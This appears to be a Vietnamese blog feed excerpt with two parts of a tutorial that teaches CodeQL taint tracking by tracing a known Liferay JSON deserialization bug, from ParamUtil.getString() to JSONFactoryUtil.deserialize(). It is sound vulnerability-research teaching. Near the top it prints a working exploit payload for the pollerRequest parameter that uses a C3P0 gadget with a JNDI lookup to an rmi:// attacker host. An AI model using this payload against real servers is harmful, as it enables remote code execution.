<p>Nhưng để áp dụng được vào CodeQL, thì không thể áp dụng nguyên cái source/sink này vào được.</p>
<p>Chúng ta làm rõ thế nào là tainted data, hiểu sơ sài thì đây là dữ liệu mà người dùng có thể kiểm soát được, thay đổi theo ý muốn, … và được thay đổi để điều khiển luồng thực thi của chương trình.</p>
<p>Taint tracking là việc đi tìm xem tainted data có thể đi được những đâu, đi được bao xa trong chương trình, và có thể đi được tới đích mong muốn hay ko. Giống như việc đổ nước vào miệng phễu để nước chảy xuống chậu, thì <strong>phần nước</strong> được đổ ở trên miệng phễu được gọi là source, còn <strong>phần nước</strong> được dẫn tới chậu sau khi có thể đã đi qua nhiều đường ống khác nhau được gọi là sink. (có thể tham khảo thêm tại: <a target="_blank" href="https://www.youtube.com/watch?v=ZaOtY4i5w_U">https://www.youtube.com/watch?v=ZaOtY4i5w_U</a>).</p>
<p>TaintTracking trong CodeQL cũng hoạt động tương tự như vậy, nó sẽ track tainted data từ khi nó ở source cho tới khi gặp sink.</p>
<p>Quay trở lại với bug của liferay, như đã đề cập phía trên, điểm bắt đầu là tại PollerServlet.service()</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241655663/TOkF8lCN9.png" alt /></p>
<p>Payload được sử dụng để khai thác có dạng:</p>
<pre><code><span class="hljs-attr">pollerRequest</span>=[<span class="hljs-variable">$OPEN_CURLY_BRACE</span>$]<span class="hljs-string">"javaClass"</span>:<span class="hljs-string">"com.mchange.v2.c3p0.jboss.C3P0PooledDataSource"</span>,<span class="hljs-string">"jndiName"</span>:<span class="hljs-string">"rmi://xxxx:1099/Exploit"</span>[<span class="hljs-variable">$CLOSE_CURLY_BRACE</span>$]
</code></pre><p>Nhưng tại PollerServlet.service(), chưa thấy dòng code nào lấy input <code>pollerRequest</code>cả.</p>
<p>Nhảy tiếp vào method getContent(), tại đây <code>pollerRequest</code>đã được lấy ra từ input của người dùng với static method <em>ParamUtil.getString()</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241657169/uYDOM9J4Y.png" alt /></p>
<p>=&gt; Tại đây ta có thể xem pollerRequestString là taint data, và đây cũng là phần source cần tìm</p>
<p><strong>#Định nghĩa source</strong></p>
<blockquote>
<p><em>Biết source rồi, nhưng định nghĩa cái predicate isSource() như nào cho đúng??</em></p>
</blockquote>
<p>Vấn đề này mình đã gặp và phải mất một thời gian đọc tham khảo QL đã có thì mới giải quyết được.</p>
<p>predicate isSource() có form như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241658782/byrAT8-Q_.png" alt /></p>
<p>Có nghĩa là đối số chỉ có dạng DataFlow::Node, muốn làm gì thì làm ¯_(ツ)_/¯.</p>
<p>Với phần tainted data đã tìm được bên trên:</p>
<pre><code><span class="hljs-attribute">String</span> pollerRequestString = ParamU<span class="hljs-regexp">til.*</span>getString*(request, <span class="hljs-string">"pollerRequest"</span>);
</code></pre><p>Ta có thể thấy, pollerRequestString là giá trị của 1 method call ParamUtil.getString().</p>
<p>Như trong bài trước mình đã có nói qua về MethodAccess, nó được dùng để định nghĩa các method call, trong phần này mình sẽ dùng nó để xác định được source.</p>
<p>Do các <strong>method call tới ParamUtil.getString()</strong> đều được sử dụng để lấy input data, hoặc diễn giải bằng CodeQL tương đương như sau:</p>
<ul>
<li><p>Source chain là 1 method access</p>
</li>
<li><p>method được call có tên là getString</p>
</li>
<li><p>Class owner của method này có tên ParamUtil</p>
</li>
</ul>
<p>Để đơn giản hơn nữa, mình định nghĩa tường minh 1 class để xác định điều này:</p>
<pre><code class="lang-codeql">class LiferayParamUtilGetString extends MethodAccess{
  LiferayParamUtilGetString(){
    exists(MethodAccess ma|
      ma.getMethod().hasName("getString")
      and ma.getMethod().getDeclaringType().hasName("ParamUtil")
      and this = ma
    )
  }
}
</code></pre>
<p>Nếu bạn đã đọc qua phần trước thì có thể cũng đã quen với cách define 1 class trong CodeQL, nhưng mình vẫn nhắc lại thêm 1 lần nữa!</p>
<p>Ở đây để xác định các method call tới <em>ParamUtil.getString() </em>trong bộ mã nguồn, mình định nghĩa 1 class với tên <em>LiferayParamUtilGetString</em>, thừa kế trực tiếp <em>MethodAccess </em>vì hiện tại mình đang muốn tìm các method call luôn!</p>
<p>Class này có predicate đặc trưng trùng với tên của class, trong này sẽ chứa các công thức/biểu thức để xác định <em>ParamUtil.getString()</em></p>
<p>Và công thức để xác định nó là:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241660219/SM1azYOl3.png" alt /></p>
<p>Mình sử dụng công thức định lượng exists() khá nhiều khi viết QL, cú pháp chung của nó như sau:</p>
<pre><code>**exists**(<span class="hljs-tag">&lt;<span class="hljs-name">variable</span> <span class="hljs-attr">declarations</span>&gt;</span> | <span class="hljs-tag">&lt;<span class="hljs-name">formula</span>&gt;</span>)
</code></pre><p>Với phần <em>&lt;variable declarations&gt; </em>sẽ là vị trí khai báo các biến sẽ được sử dụng trong công thức. <em>&lt;formula&gt; </em>sẽ là công thức chính để xác định (chi tiết hơn tại đây: <a target="_blank" href="https://help.semmle.com/QL/ql-handbook/formulas.html#exists">https://help.semmle.com/QL/ql-handbook/formulas.html#exists</a>).</p>
<p>Trong công thức định lượng của mình đã khai báo bên trên.</p>
<ul>
<li><p>MethodAccess <strong>ma </strong>=&gt; Khai báo biến để sử dụng cho công thức phía sau</p>
</li>
<li><p><strong>ma</strong>.getMethod() =&gt; xác định method được call</p>
</li>
<li><p>ma.getMethod().<strong>hasName(“getString”)</strong> =&gt; hasName() dùng để xác định tên của method được call này</p>
</li>
<li><p>ma.getMethod().<strong>getDeclaringType()</strong> =&gt; xác định class owner của method được call</p>
</li>
<li><p>ma.getMethod().getDeclaringType().<strong>hasName(“ParamUtil”)</strong> =&gt; xác định class owner có tên là “ParamUtil”</p>
</li>
<li><p>this = ma =&gt; với this là biến built-in của class, biến này dùng để xác định class này so với class khác!</p>
</li>
</ul>
<p>CodeQL cung cấp 1 phương pháp gọi là “Quick Evaluation” để thử nhanh query mà mình vừa viết, ví dụ như với 1 query lớn, sẽ cần phải thử nghiệm tính đúng đắn trong từng phần của query trước khi đưa cả query vào chạy. Làm như vậy sẽ tối ưu hóa được thời gian và tài nguyên sử dụng của engine!</p>
<p>Để sử dụng tính năng này, lựa chọn phần công thức cần chạy và chuột phải &gt; chọn Quick Evaluation</p>
<p>Ví dụ như trường hợp của mình, công thức định lượng để xác định được method call là exists(), cho nên mình sẽ chọn phần công thức này và Quick Eval:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241661578/jrWLghkx_.png" alt /></p>
<p>Và kết quả trả về là 1307 method call tới ParamUtil.getString():</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241663199/gktiVJRwt.png" alt /></p>
<p><em>Thực ra class để xác định method call tới ParamUtil.getString() có thể viết bằng nhiều cách, ví dụ như cách định nghĩa như sau cũng vẫn đúng:</em></p>
<pre><code class="lang-codeql">class LiferayParamUtilGetString2 extends MethodAccess{
  LiferayParamUtilGetString2(){
    this.getMethod().hasName("getString")
    and this.getMethod().getDeclaringType().hasName("ParamUtil")
  }
}
</code></pre>
<p>Cách viết chỉ phụ thuộc vào bạn đã hiểu cách viết CodeQL hay chưa, và tư duy viết code của bạn như thế nào thôi!</p>
<blockquote>
<p>Khi đọc bài viết này, hãy tự tìm hiểu và viết QL theo cách riêng của bạn, như vậy mới chứng minh được là bạn đã thực sự hiểu!</p>
</blockquote>
<p>Quay trở lại với predicate isSource(),</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241664747/Ffny_y2HP.png" alt /></p>
<p>Predicate này nhận vào 1 đối số với kiểu <em>DataFlow::Node,</em></p>
<p>Kết hợp với phần định nghĩa của ParamUtil.getString(), predicate hoàn thiện sẽ có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241666155/o6zTz0sO2.png" alt /></p>
<p>Phần QL mình thêm vào vẻn vẹn chỉ có 1 dòng nhưng nó khá là lắt léo để giải thích =))).</p>
<p>Bắt đầu với thứ đơn giản trước:</p>
<p>“instanceof” trong CodeQL có cú pháp như sau:</p>
<pre><code>ObjectA ***<span class="hljs-keyword">instanceof</span> ***ClassB
</code></pre><p>Để xác định xem <strong>ObjectA </strong>có phải là object nào của <strong>ClassB </strong>hay không (tương tự như instanceof của java: <a target="_blank" href="https://www.javatpoint.com/downcasting-with-instanceof-operator">https://www.javatpoint.com/downcasting-with-instanceof-operator</a>)</p>
<p>Tiếp tới là <strong>DataFlow::Node</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241667666/FJnXXj1J3.png" alt /></p>
<p>CodeQL coi mỗi phần tử trong data flow graph là 1 <strong><em>DataFlow::Node, </em></strong>mỗi node này có thể là 1 biểu thức, 1 tham số, hoặc 1 đối số!</p>
<p>Việc taint tracking giống như trong hình (b), sẽ đi từ 1 Node đầu, qua <strong>n </strong>node trung gian và kết thúc tại Node 11.</p>
<p>Như vậy cũng giải thích lý do tại sao predicate isSource() lại có đối số là 1 <strong><em>DataFlow::Node!</em></strong></p>
<p>Trong phần declaration của <em>DataFlow::Node </em>có các predicate sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241669277/76VBgmWc_.png" alt /></p>
<p>Chú ý tới predicate <strong><em>asExpr()</em></strong> và <strong><em>asParameter()</em></strong>, các predicate này dùng để xác định rõ Node hiện tại đang là 1 biểu thức hay là 1 tham số (Standard library của CodeQL được comment rất rõ, nên đọc comment này để hiểu rõ tính năng của từng phần!)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241670848/FcPobnYpg.png" alt /></p>
<p>Quay trở lại với phần định nghĩa predicate isSource():</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241672343/y73FuORnE.png" alt /></p>
<ul>
<li><p><strong>source.asExpr()</strong> sẽ trả về 1 <em>Expr</em></p>
</li>
<li><p>source.asExpr().(<strong><em>MethodAccess</em></strong>) dùng để ép kiểu MethodAccess cụ thể cho Expr vừa rồi!</p>
</li>
</ul>
<p>Có thể ép kiểu được như vậy là do <strong><em>MethodAccess </em></strong>thừa kế <strong><em>Expr </em></strong>(giống y hệt trong java, đọc thêm tại đây: <a target="_blank" href="https://help.semmle.com/QL/ql-handbook/expressions.html#casts">https://help.semmle.com/QL/ql-handbook/expressions.html#casts</a>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241673811/lvv33iMFX.png" alt /></p>
<p>=&gt; Từ những thông tin bên trên, có thể diễn giải phần định nghĩa source của mình như sau:</p>
<ul>
<li>Lấy 1 Node nào đó, là 1 biểu thức, có dạng method call và là 1 method call tới <strong><em>ParamUtil.getString()</em></strong></li>
</ul>
<p>¯_(ツ)_/¯ Mình đã diễn giải hết sức, bạn đọc vẫn cảm thấy bối rối thì cũng là do mình văn chương kém thôi…</p>
<p>Để kiểm tra tính đúng đắn của source, có thể bôi đen/lựa chọn phần công thức bên trong predicate và Quick Eval:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241675405/TDU2EbqfU.png" alt /></p>
<p>Kết quả được đúng 1307 method call như dự tính!</p>
<p><strong>#Định nghĩa sink</strong></p>
<p>Phần sink thì mình đã có nói trong bài trước, đó chính là method JsonDeserializeMethod, mình ko nhắc lại nữa.</p>
<p>Ta có thể thấy tainted data sẽ tới sink method và được truyền vào như 1 đối số của method này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241677126/ESWV32Oai.png" alt /></p>
<p>Sink method mình có định nghĩa như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241678643/Ymzc3zlkI.png" alt /></p>
<p>Có thể bạn đã quen với dạng định nghĩa như này rồi,</p>
<ul>
<li><p><em>ma.getMethod() <strong>instanceof </strong>JsonDeserializeMethod:</em> xác định method call tới JSONFactoryUtil.deserialize()</p>
</li>
<li><p><strong><em>sink.asExpr() </em></strong>=&gt; giống như đã giải thích ở phía trên, sink ở đây cũng là 1 Node trong data flow graph, cần tìm 1 sink có dạng <em>Expr</em></p>
</li>
<li><p><strong><em>ma.getAnArgument()</em></strong>: lấy về các đối số được cấp cho method được call tại đây</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241680335/drbe_cUnV.png" alt /></p>
<p>Phần define sink này có thể diễn giải ngắn gọn dưới dạng văn chương như sau:</p>
<ul>
<li>Tìm tất cả đối số được truyền vào JSONFactoryUtil.deserialize()</li>
</ul>
<p>Như vậy là đã xong phần định nghĩa TaintTracking config, cuối cùng nó sẽ có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241681960/mazb2KE-O.png" alt /></p>
<ul>
<li>Side note:</li>
</ul>
<p><em>Phần select clause phía dưới bắt buộc phải theo dạng như vậy, chỉ có phần String ở cuối là có thể thay đổi tùy ý thôi. Thay đổi linh tinh là nó ko còn ra dạng path problem nữa =)))</em></p>
<p>Chạy query và tận hưởng thành quả thôi …</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241683529/OGUntPqZ0.png" alt /></p>
<p>=))) And we got zero result …</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241685126/I06KDNgrx.jpeg" alt /></p>
<p>Bình tĩnh, tới đây chưa phải là hết, =)) hẹn gặp lại trong phần 3 để biết về cách debug và tìm lỗi …</p>
<p><strong>Jang of VNPT</strong></p>
<p><em>bonus tí nhạc nhẽo cho sôi động: <a target="_blank" href="https://www.youtube.com/watch?v=ErhGuwNgrmw">https://www.youtube.com/watch?v=ErhGuwNgrmw</a> =)))</em></p>
]]></content:encoded></item><item><title><![CDATA[CodeQL thần chưởng [part 1]]]></title><description><![CDATA[Chào mọi người, cũng phải gần 2 tháng kể từ blog cuối, dạo này hơi bận bịu với nghề tay trái nên cũng chưa có thời gian viết lách, chứ ko phải là bị dính phốt nên phải chạy trốn đâu ae, hoho …
Mấy nay bên Github SecurityLab (GHSL) có tổ chức CTF về C...]]></description><link>https://testanull.com/codeql-than-chuong-part-1-544a2b0df9d7</link><guid isPermaLink="true">https://testanull.com/codeql-than-chuong-part-1-544a2b0df9d7</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Thu, 21 May 2020 04:04:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241634738/Tt3YDCbsA.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Chào mọi người, cũng phải gần 2 tháng kể từ blog cuối, dạo này hơi bận bịu với nghề tay trái nên cũng chưa có thời gian viết lách, chứ ko phải là bị dính phốt nên phải chạy trốn đâu ae, hoho …</p>
<p>Mấy nay bên Github SecurityLab (GHSL) có tổ chức CTF về CodeQL, mình cũng có hóng hớt và đợt này mới có CTF về CodeQL for Java. Trước đó cũng có các CTF cho C/C++, JS nhưng mình ko có nhiều khái niệm của mảng đó nên cũng ko đủ tự tin để tham gia. Giải CTF đợt này các bạn có thể xem tại: <a target="_blank" href="https://securitylab.github.com/ctf/codeql-and-chill">https://securitylab.github.com/ctf/codeql-and-chill</a> (:v Netflix and chill …).</p>
<p>Giải này theo chia sẻ của tác giả thì cũng khá là basic, tổ chức cho người mới tìm hiểu về CodeQL, nếu bạn muốn tìm hiểu về CodeQL mà chưa có điểm khởi đầu thì đây là một cơ hội tốt để tham gia, ngày cuối của CTF là 12/06 cơ. Do giải vẫn đang diễn ra nên blog này sẽ không nói quá nhiều liên quan tới challenge của giải.</p>
<p>Hiện tại thì mình đang làm đồ án tốt nghiệp với đề tài là nghiên cứu về CodeQL, và đang bắt đầu học CodeQL nên muốn viết vài dòng để note lại các vướng mắc, khó khăn cũng như cách giải quyết để cho những bạn nào bắt đầu có thể dễ dàng hơn với CodeQL. Hiểu biết về QL của mình hiện tại chưa thể nói là sâu được, nhưng cũng sẽ giúp nhiều bạn tìm được điểm khởi đầu dễ dàng hơn!</p>
<p>Trước đó mình cũng có đọc qua một blog tiếng Việt về CodeQL, mình cứ tưởng là có người tâm huyết rồi truyền lại sang tiếng Việt, nào ngờ check lại thì đó chỉ là blog post của 1 người tàu được translate (<a target="_blank" href="https://paper.seebug.org/1079/">https://paper.seebug.org/1079/</a>).</p>
<p>Hồi mới bắt đầu làm quen với Semmle (sau này là CodeQL), mình gặp khá nhiều khó khăn để bắt đầu do hầu như không có tài liệu gì public về cái Semmle này. Tất cả chỉ dựa vào official document tại help.semmle.com, hiện tại thì cũng đã khá khẩm hơn sau khi được github mua lại. Hy vọng sẽ có nhiều người hơn join cộng đồng để tài nguyên ngày càng phong phú!</p>
<p>#Note trước khi vào bài:</p>
<ul>
<li><p>Nên có chút hiểu biết về Java</p>
</li>
<li><p>Không nên cứng ngắc áp khái niệm của ngôn ngữ lập trình khác vào CodeQL, vì bản chất nó là 1 ngôn ngữ riêng, có khá nhiều điểm trông thì giống ngôn ngữ lập trình nhưng thực tế nó không hoạt động như vậy.</p>
</li>
</ul>
<p><strong>CodeQL setup</strong></p>
<p>Hiện tại thì việc setup khá là đơn giản khi CodeQL chính thức được đưa lên VSCode, chỉ cần follow guide tại đây là có thể setup được: <a target="_blank" href="https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html">https://help.semmle.com/codeql/codeql-for-vscode/procedures/setting-up.html</a></p>
<p>Guide này cũng bao gồm cả đoạn mở workspace, db …</p>
<p>Có một lưu ý là CodeQL được update khá thường xuyên nên thi thoảng nó lại báo update. Update trong CodeQL thường có rất nhiều ý nghĩa nên mình cũng khuyên là nên update!</p>
<p>Và khi mở db trong vscode thì cũng cần lưu ý version của db phải ≤ version của codeql extension. Nếu như version của db &gt; version của codeql extension thì sẽ xảy ra lỗi như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241602485/_HN2I0keyM.png" alt /></p>
<p>#ảnh mượn của người anh xã hội @ datlp</p>
<p><strong>Remote Dev</strong></p>
<p>Đây là 1 chức năng của VSCode mà mình rất thích.</p>
<p>Khi query thì codeql sẽ ngốn khá nhiều tài nguyên và làm nóng máy, Remote Dev là giải pháp cho vấn đề này.</p>
<p>Bạn hoàn toàn có thể cài codeql lên máy remote và chạy query trên đó, nhưng lại có được response về máy mình.</p>
<p>Chi tiết follow guide tại: <a target="_blank" href="https://code.visualstudio.com/docs/remote/remote-overview">https://code.visualstudio.com/docs/remote/remote-overview</a></p>
<p>*Trong bài này, mình sử dụng db liferay để làm ví dụ cho các query, các bạn có thể download tại đây: <a target="_blank" href="https://drive.google.com/file/d/1_qR2Az8a-gKhTIjuyL4eDsE1BCnmn_tw/view?usp=sharing">https://drive.google.com/file/d/1_qR2Az8a-gKhTIjuyL4eDsE1BCnmn_tw/view?usp=sharing</a></p>
<p><strong>Basic Usage</strong></p>
<p>Sau khi setup các thứ các thứ xong xuôi thì sẽ có được giao diện như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241604534/ZgyRUkrpd.png" alt /></p>
<p>Với folder codeql-custom-queries-XXX là folder sẽ chứa file query cho ngôn ngữ XXX.</p>
<p>Tất cả các file đặt trong folder này mới có thể sử dụng library và query bình thường được!</p>
<p>Ví dụ như mình có file test11.ql trong folder <em>codeql-custom-queries-java/liferaytest/</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241606203/8AS0SIMYf.png" alt /></p>
<p>Cấu trúc cơ bản của 1 file QL trong guide của mình có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241607865/hmHHcbFyew.png" alt /></p>
<p>Trong đó với các annotation trong comment là @name, @kind đều có ý nghĩa cả. Xóa bỏ hoặc thay đổi các annotation này đều làm cho cả query thay đổi!</p>
<p>Ví dụ như mình đang sử dụng @kind = path-problem, để tìm lỗi và mong muốn output của CodeQL sẽ như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241609550/PPOlhLinP.png" alt /></p>
<p>Nếu không có @kind = path-problem thì output sẽ có dạng:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241611048/YfypZ02Dl.png" alt /></p>
<p>Sau các dòng define annotation này là tới phần import library, hiện tại mình đang query trên ngôn ngữ Java thì mình sẽ dùng “<em>import java</em>”. Các library này được đặt tại folder<em> ql/java/ql/src/ </em>với dạng đuôi .qll.</p>
<p>Sau khi import lib java thì sẽ tới lib “<em>semmle.code.java.dataflow.FlowSources</em>”. Lib này cung cấp các định nghĩa có sẵn về các nơi mà input có thể sẽ được nhận vào, ví dụ như trong HttpServletRequest thường có method “getParameter()” để lấy param từ input.</p>
<p>Lib DataFlow::PathGraph phía dưới là lib đi kèm với @kind = path-problem.</p>
<p>Và phía dưới cùng là select clause, Select clause này có dạng như sau:</p>
<pre><code><span class="hljs-keyword">from</span> &lt;Variable&gt;

<span class="hljs-keyword">where</span> &lt;formula&gt;

<span class="hljs-keyword">select</span> &lt;expression&gt;
</code></pre><p>Trong đó thì với phần “from” và “where” có thể có hoặc không đều được.</p>
<p>Trông nó hơi giống với 1 câu query trong SQL bình thường:</p>
<pre><code><span class="hljs-keyword">select</span> _X <span class="hljs-keyword">from</span> _Y <span class="hljs-keyword">where</span> _Z
</code></pre><p>Quay lại với query:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241612666/4bB_z2TeZ.png" alt /></p>
<p>Với select clause của file query này là:</p>
<pre><code><span class="hljs-keyword">from</span> **<span class="hljs-keyword">Method</span> m**

<span class="hljs-keyword">where</span> m.hasName("deserialize")

<span class="hljs-keyword">select</span> m
</code></pre><p>Có thể hiểu một cách tóm lược ý nghĩa của mệnh đề select này như sau:</p>
<pre><code>from **<span class="hljs-type">Method</span> m** &lt;= <span class="hljs-type">T</span>ừ tập hợp <span class="hljs-built_in">c</span>á<span class="hljs-built_in">c</span> method <span class="hljs-built_in">c</span>ủa bộ mã nguồn hiện tại
<span class="hljs-keyword">where</span> **m.hasName(<span class="hljs-string">"deserialize"</span>)** &lt;= <span class="hljs-type">Nh</span>ững <span class="hljs-built_in">c</span>ái nào <span class="hljs-built_in">c</span>ó tên như vậy
select **m** &lt;= <span class="hljs-type">Thì</span> chọn lấy nó
</code></pre><p>Nó cũng hơi giống với khi query trong SQL:</p>
<pre><code><span class="hljs-keyword">select</span> **m **<span class="hljs-keyword">from</span> **<span class="hljs-keyword">Method</span> **<span class="hljs-keyword">where</span> **m.name** = "**deserialize**"
</code></pre><p>Chạy y nguyên file query của mình và sẽ nhận được kết quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241614108/7rEk7obYt.png" alt /></p>
<p>Kết quả trả về là 0 results, nhưng đây là tab result của kiểu “path-problem”, hiện tại mới đang ở query test nên cần chuyển sang tab “#select” để hiện kết quả:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241615675/Rchu23pIL.png" alt /></p>
<p>Và kết quả trả về là 68 method có tên “deserialize” trong bộ mã nguồn.</p>
<p>Có thể sửa mệnh đề select 1 chút để nó show ra cả tên Class chứa Method đó:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241617108/VAF6KOSnL.png" alt /></p>
<p>Method.getDeclaringType() sẽ trả về class owner của method đó (trong document của CodeQL thì nó có định nghĩa hơi khác 1 chút, nhưng để dễ gần hơn với người mới tìm hiểu thì mình sẽ tạm thời nói như vậy! Chi tiết hơn nằm tại đây <a target="_blank" href="https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Member$getDeclaringType.0.html">https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Member$getDeclaringType.0.html</a>).</p>
<p>Khi chạy lại query 1 lần nữa ta được kết quả như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241618513/OKyQFzJaU.png" alt /></p>
<p>Kết quả trả về có bao gồm nhiều method tên deserialize, nhưng không phải là class mình đang cần tìm. Hiện tại mình đang muốn focus vào JSONFactoryUtil.deserialize(), như trong bài phân tích của mình (<a target="_blank" href="https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/">https://www.facebook.com/notes/nguy%E1%BB%85n-ti%E1%BA%BFn-giang/liferay-story-part-4-v%C3%A0-nh%E1%BB%AFng-c%C3%BA-l%E1%BB%ABa-/2408844002562884/</a>) thì đây là nơi xảy ra bug JSON deserialize to RCE.</p>
<p>Để giới hạn lại chỉ còn “JSONFactoryUtil”, ta sử dụng query:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241620001/5BeptyDiY.png" alt /></p>
<p>Ta đã biết ở trong query trước, “Method.getDeclaringType()” sẽ trả về class owner của method đó, do vậy Method.getDeclaringType().hasName(“ABC”) sẽ giới hạn lại class owner chỉ có tên “ABC”.</p>
<p>Kết quả sau đó chỉ còn 2 kết quả là 2 method của class JSONFactoryUtil:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241621448/e1TjMKxOc.png" alt /></p>
<p>Mặc dù trong phần kết quả hiện ra 2 method giống y chang nhau, nhưng thực tế đây là 2 method khác nhau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241622942/udkJXz-V8.png" alt /></p>
<p>Đối số của 2 method này không giống nhau, 1 cái là JSONObject, 1 là String.</p>
<p>Trong bug của liferay, method gây ra lỗi là method “JSONFactoryUtil.deserialize(String)”. Do đó cần thêm 1 lần filter nữa để chỉ lấy mỗi method này.</p>
<p>Query mình sử dụng để limit lần này là:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241624517/mq8ygSpFx.png" alt /></p>
<p>Với “Method.getParameterType(index)” sẽ trả về kiểu của parameter trong method hiện tại. Sử dụng thêm hasName(“String”) để lấy các parameter có type là “String”.</p>
<p>Sau khi modify query thì cuối cùng sẽ chỉ còn 1 kết quả là method deserialize(String) cần tìm:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241625906/2V5H1ir3H.png" alt /></p>
<p><strong>#Class</strong></p>
<p>Mặc dù câu query đã đạt được mục đích là tìm Method deserialize(String) nhưng nó vẫn khá cồng kềnh, để gọn gàng hơn thì có thể define thêm 1 class cho việc này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241627505/rtEQ0m1mj.png" alt /></p>
<p>Cú pháp để declare class có dạng như sau:</p>
<pre><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">NameFoo</span> <span class="hljs-keyword">extends</span> &lt;<span class="hljs-title">type</span>&gt;</span>{
  NameFoo(){
  ...
  }

  <span class="hljs-function">predicate <span class="hljs-title">doSmt</span><span class="hljs-params">()</span></span>{}
}
</code></pre><p>Lưu ý là 1 class cần được 1 extends ít nhất 1 kiểu nào đó và tên của class phải bắt đầu bằng chữ in hoa, bên trong class này sẽ có các thứ giống như 1 method của java, nhưng ở đây nó được gọi là predicate.</p>
<p>Mỗi class sẽ có 1 predicate đặc trưng, trùng với tên của class đó (hao hao giống constructor của java), predicate này có sử dụng biến “<em>this</em>”, biến “<em>this</em>” này để xác định chính class đó, nói thì hơi lằng nhằng nên quay trở lại ví dụ của mình cho dễ hiểu.</p>
<p>Class của mình define bên trên có tên là “JsonDeserializeMethod”, thừa kế kiểu Method. Bên trong class này có 1 predicate đặc trưng, trùng với tên của nó, predicate đặc trưng này sẽ xác định class này khác với class như thế nào. Body của predicate này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241629089/B__YJkZtb.png" alt /></p>
<p>Trong đó sử dụng formula exists(), hiểu 1 cách đơn giản, formula này sẽ kiểm tra xem có tồn tại thứ gì thỏa mãn điều kiện được đưa vào hay không.</p>
<p>Như trong trường hợp hiện tại, điều kiện cần thỏa mãn ở đây chính là phần điều kiện của select clause hồi nãy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241630414/9xXuP71LA.plain" alt /></p>
<p>Chỉ khác 1 điều khác là trong phần body của predicate đặc trưng, sau khi xác định được các điều kiện thỏa mãn, nhất định phải xác định được biến “<strong>this</strong>” này, như trong trường hợp của mình là “<strong>this = m</strong>”.</p>
<p><strong>#MethodAccess</strong></p>
<p>Hiện tại đã có thể xác định được chính xác Method cần tìm, để tìm được các Method nào gọi đến Method đó thì QL có cung cấp 1 kiểu đó là MethodAccess.</p>
<p>MethodAccess nắm giữ các call method, ví dụ như method Foo.getBar() -&gt; Foo2.setFoo(xyz).</p>
<ul>
<li><p>MethodAccess.getMethod() (hoặc getCallee()): trả về method được call</p>
</li>
<li><p>MethodAccess.getCaller(): trả về method chủ động call.</p>
</li>
</ul>
<p>Quay trở lại với query mình đang viết dở, khi áp dụng thêm MethodAccess vào sẽ có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241631841/XjLZlSUNd.png" alt /></p>
<p>Trong đó:</p>
<ul>
<li><p>JsonDeserializeMethod chính là method deserialize(String) đã define trước đó, và có kiểu là Method</p>
</li>
<li><p>ma.getMethod() = jsm: tìm ra tất cả các MethodAccess nào có method được gọi là JsonDeserializeMethod</p>
</li>
</ul>
<p>Kết quả sau khi query sẽ ra được các method có call tới JsonDeserializeMethod:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624241633301/t4JYLCOZA.png" alt /></p>
